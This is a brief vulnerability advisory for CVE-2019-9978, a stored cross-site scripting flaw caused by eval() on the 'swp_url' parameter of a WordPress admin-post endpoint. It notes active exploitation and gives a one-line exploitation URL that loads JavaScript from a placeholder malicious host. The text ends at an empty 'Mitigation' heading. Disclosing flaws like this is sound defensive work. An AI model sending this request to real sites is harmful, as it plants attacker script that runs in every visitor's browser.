CVE-ID: CVE-2019-9978
CWE-ID:
Exploit availability:
Description
The vulnerability allows a remote attacker to perform cross-site scripting attacks.
The vulnerability exists due to usage of the eval() JavaScript call on data passed via the "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.
Note: this vulnerability is being actively exploited in the wild.
Exploitation example:
http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/Mitigation
